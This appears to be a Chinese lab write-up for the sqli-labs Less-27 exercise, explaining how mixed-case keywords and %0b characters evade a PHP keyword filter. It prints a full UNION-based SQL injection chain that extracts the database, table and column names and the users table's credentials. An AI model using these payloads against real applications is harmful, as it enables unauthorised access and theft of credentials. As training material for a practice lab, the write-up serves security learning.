• Less(27)GET


    1.查看一下php文件,发现不仅过滤了符号,还过滤了一些关键字,但是我们可以大小写结合

      

       

       

      m (PCRE_MULTILINE)默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 " " 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。s (PCRE_DOTALL)如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。/m  当设定了此修正符,“行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“ ”字符或者模式中没有 ^ 或 $,则设定此修正符没有任何效果。  实际上就就是匹配多行的意思?

      /s 使圆点元字符(.)匹配换行符,  上面这里没有点就不用管了,那么上面直接大小写绕过就可以了

    2.爆破:php-5.3.29

      (1)爆库:?id=0'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1  

         

      这里的or '1 ' = '1是为了闭合和后的' 变成or '1'='1' limit 1,1   让语句完整

      (2)爆表(把or换成&&(%26%26)):?id=0'%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b'1'='1

         

      (3)爆列名:?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

      (4)爆值:?id=0'%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0buniOn%0bseLect (1),(2),'(3

        



    原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327

  • 相关阅读:
    .NET Core 服务调用 RPC
    从Docker 到 Kubernatetes 的跃迁之路
    同步异步-多线程梳理
    Net的微服务选型之路
    Visual Studio 2019安装SSIS
    HL7协议的基本语法
    vue学习笔记
    开发常用的部分sql语句总结
    VSPD虚拟串口来调试通信接口程序
    SSRS报表工具之合并行数据
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12396166.html
Copyright © 2020-2023  润新知